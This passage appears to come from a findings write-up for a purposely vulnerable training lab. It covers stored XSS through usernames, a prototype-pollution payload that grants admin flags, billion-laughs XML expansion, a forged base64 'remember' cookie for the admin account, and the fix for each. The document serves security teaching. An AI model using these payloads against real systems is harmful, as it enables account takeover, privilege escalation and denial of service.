- **Result:** Verified — `Content-Disposition: attachment; filename="Meridian-Statement.bat"`.
- **Fix:** Fixed server-side filenames; sanitize; safe content types.

### VB-211 Stored XSS via username (admin widget)

- **Location:** `GET /admin/recent` renders usernames unescaped.
- **Steps:** Register username `<script>...</script>`; when an admin views the recent-signups widget it executes (blind/stored XSS).
- **Result:** Verified — payload rendered unescaped.
- **Fix:** Output-encode all user data; validate username charset; CSP.

### VB-212 Prototype pollution → privilege escalation

- **Location:** pollute at `POST /profile/:id` (VB-124), exploit at `GET /feature/flags`.
- **Steps:** Authenticated JSON `{"__proto__":{"isAdmin":true,"premium":true}}` to `/profile/1`, then `GET /feature/flags`.
- **Result:** Verified — flags flip to `isAdmin:true` process-wide until restart.

- **Fix:** Block `__proto__` / `constructor` / `prototype` keys; `Object.create(null)`; `Map`.

## VB-213 Billion-laughs / XML entity-expansion DoS

- **Location:** `POST /import/xml2` — unbounded internal-entity expansion (capped at 5 MB so the lab survives).
- **Steps:** Post nested `<!ENTITY lolN "&lolN-1;...">` definitions; the amplification factor explodes.
- **Result:** Verified — small input expands sharply (add nesting levels for exponential growth).
- **Fix:** Disable DTDs/entity expansion; limit document/entity size.

## VB-214 Forgeable "remember me" cookie → impersonation

- **Location:** `GET /remember?user=` sets `remember = base64(username)`; the server middleware trusts it.
- **Steps:** Set `Cookie: remember=YWRtaW4=` (base64 of `admin`) on any request.
- **Result:** Verified — authenticated as admin with a forged cookie.
- **Fix:** Signed/random opaque tokens bound server-side; `HttpOnly` + `Secure`; rotate and expire.

## Coverage note

This writeup documents the **verified, firing** subset that has dedicated endpoints in the current build. The full 200+ catalogue (variants such as blind/time-based SQLi, the complete JWT `kid` / `jku` suite, WebSocket/GraphQL, DoS/ReDoS, and file-upload chains) is enumerated in [IMPLEMENTATION-PLAN.md](#); items not yet wired as endpoints are marked there and make natural student "extend-the-lab" exercises. Each finding here maps 1:1 to a `VB-###` id in that plan.

&x;